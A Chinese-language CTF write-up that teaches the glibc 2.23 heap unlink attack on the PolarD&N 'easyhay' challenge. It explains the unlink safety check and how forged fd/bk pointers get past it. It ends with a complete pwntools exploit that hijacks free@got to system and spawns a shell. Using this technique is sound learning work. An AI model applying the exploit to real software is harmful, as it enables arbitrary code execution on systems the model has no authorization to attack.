0x00 前言: 堆学习之路还在继续,上周末打了ACTF,被几道Pwn题吓死了,上来就是IO、内核。唉,所以还是继续慢慢往上爬吧,希望总有一天能解出XCTF联赛的Pwn题
0x01 分析: 一道用来熟悉 unlink 的题目,题目是来自[PolarD&N].(https://polarctf.com/#/page/challenges)的**easyhay**。 Checksec 一下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'/home/link/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/' Stripped: No
Patch 过了,值得注意的是没开 pie,这对我们 unlink 攻击起到了关键的作用,ida 启动
以为是unosrted bin attack? 经典菜单堆,看到 v3 == 4869
这个分支,先跟进一下 l33t();
看到这里,我下意识以为又是一道 unosrted bin attack
,结果照着思路把 exp 搓出来之后发现: 确实能走到这个分支,但是被摆了一道。
老实学unlink吧^^ 看完官方 wp 才知道,原来是要打 unlink
,首先得知道 unlink
是什么,有什么用。简单来说就是 free 掉当前 chunk 的时候和目前物理相邻的 free chunk 进行合并,简单示意图如下: 这里描述可能不太清晰,可以大概看一下源码,这里就直接偷星盟的 PWN 课里的了(懒得找)
if (!prev_inuse(p)){ prevsize=p->prev_size; size+=prevsize; p=chunk_at_offset(p,-((long )prevsize)); unlink(p,bck,fwd); }
这一段的意思是,若检测到 p(也就是被 free 的 chunk)的 prev_inuse 位为 0,也就是当前 chunk 的前一个 chunk 是空闲状态(被 free),则进行操作:
presize
变量储存前一个空闲堆块的 presize
size
变量变为当前 chunk 的 size
加上前一个空闲 chunk 的 size
修改指向当前 chunk 的指针,利用 presize
去寻找前一个 chunk 的位置
进行 unlink 操作 简单画个示意图: 经过上面的操作会变成: 然后就是进入 unlink 操作,来看看源码
#define chunk_at_offset(p,s) ((mchunkptr)(((char*) (p))+(s))) #define unlink(P,BK,FD){ FD = P -> fd; BK = P -> bk; if (__builtin_expect(FD->bk!=P||BK->fd!=P,0 )) malloc_printerr(check_action,"corrupted double-linked list" ,P,AV); FD-> bk = BK; BK-> fd = FD; ... }
值得注意的是,这里的 FD
和 BK
都是临时变量,中间还有一段检测。接下来详细说明一下 unlink
攻击是如何发挥作用的以及如何绕过 unlink
的检测
还有检测?绕一下 首先伪造一下 fake chunk
, 注意这里的 fakechunk 可以是在一个正常的chunk 中所伪造出来的,例如:
fake_chunk = 0x0000000006020E0 P_fd = chunk - 0x18 = 0x6020c8 P_bk = chunk - 0x10 = 0x6020c0
这里 fake chunk
的选择是比较关键的,必须是选择在程序中存储堆块的一段内存,例如在这道题的创建堆块的函数这里: 显然 heaparray
的作用就是用来管理堆块的。 然后我们将这些伪造的值代入到源码中来看一下
#define unlink(P,BK,FD){ FD = P -> fd; BK = P -> bk; if (__builtin_expect(FD->bk!=P||BK->fd!=P,0 )) malloc_printerr(check_action,"corrupted double-linked list" ,P,AV); FD-> bk = BK; BK-> fd = FD; ... }
简单解释一下绕过检测这里:
FD->bk
的寻找方式是直接通过 FD + 0x18
来找到的,同理 BK->fd
也是。
这是因为 chunk 的结构就是这样 pre_szie
, size
, fd
, bk
,系统会直接通过指向 chunk 头的指针加上特定的偏移来寻找对应的结构,P+0x8
就是 size,+0x10
就是 fd
因为经过我们的伪造,选取了特定的位置来作为 P,此时 0x6020E0
就是题目中的 heaparray[0]
,也就是用于管理堆块的内存,同时这个位置上存放了一个堆块的指针,也就是 P
这样我们便绕过了 unlink 的检测,后面就是一个赋值的操作:
FD-> bk = BK; BK-> fd = FD;
简单来说就是 heaparray 这里被赋值成了 0x6020c8
,也就是 heaparray - 0x18
。那么在程序中如果进入了堆编辑功能的这个分支: 它是通过 heaparray
来寻找堆块的,我们刚刚已经把 heaparray[0]
改变成了 heaparray - 0x18
,那么系统就会将 heaparray - 0x18
当成一个堆块,往上面写数据,如果我们再随便申请一个堆块,通过对 heaparray[0]
的编辑,再将后续堆块的地址修改为 got
表之类的地方,就能实现劫持 GOT 。
EXPEXP 这就是 unlink
攻击能起到的作用,理清了思路,跟着 exp 来一遍:
malloc(0x20 ,b'aaaa' ) malloc(0x80 ,b'aaaa' ) malloc(0x18 ,b'/bin/sh\x00' )
首先是申请 3 个堆块,最后一个堆块用于隔断 top chunk
,并且提前写入 /bin/sh\x00
,因为我们的目标是劫持 free@got
, 将其改为 system
。 然后对 chunk 0
写入我们伪造的 fake chunk
,因为编辑函数没有检测写入内容的大小,可以堆溢出,我们就可以很方便的设置 chunk 1
中的 pre_size
和 size
位的 preinuse
位
fd = 0x0000000006020E0 - 0x18 bk = 0x0000000006020E0 - 0x10 payload=flat(0 ,0x21 ,fd,bk,0x20 ,0x90 ) edit(0 ,payload)
接下来 free 掉 chunk 1
,回顾 unlink 的操作,我们把 heaparray[0]
的修改成了 heaparray - 0x18
:
效果: 接下来对 heaparry[1]
的位置写入 free@got
,然后 free 掉内容为 /bin/sh\x00
的堆块即可 getshell。
0X02 EXP: from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/easyhay' elf=ELF(file) choice = 0x00 if choice: port= 2072 polar='1.95.36.136' nss='node5.anna.nssctf.cn' buu='node5.buuoj.cn' local='127.0.0.1' kap0k='ctf.kap0k.top' ucsc='39.107.58.236' p = remote(polar,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,'b *0x400ca2' ) def malloc (size,content ): sla('Your choice :' ,b'1' ) sla('Size of Heap : ' ,str (size)) sla('Content of heap:' ,content) def free (index ): sla('Your choice :' ,b'3' ) sla('Index :' ,str (index)) def edit (index,content ): sla('Your choice :' ,b'2' ) sla('Index :' ,str (index)) sla('Size of Heap : ' ,str (len (content))) sla('Content of heap : ' ,content) debug() malloc(0x20 ,b'aaaa' ) malloc(0x80 ,b'aaaa' ) malloc(0x18 ,b'/bin/sh\x00' ) fd = 0x0000000006020E0 - 0x18 bk = 0x0000000006020E0 - 0x10 payload=flat(0 ,0x21 ,fd,bk,0x20 ,0x90 ) edit(0 ,payload) free(1 ) payload=b'a' *0x18 + p64(fd) + p64(elf.got['free' ]) edit(0 ,payload) edit(1 ,p64(elf.plt['system' ])) free(2 ) itr()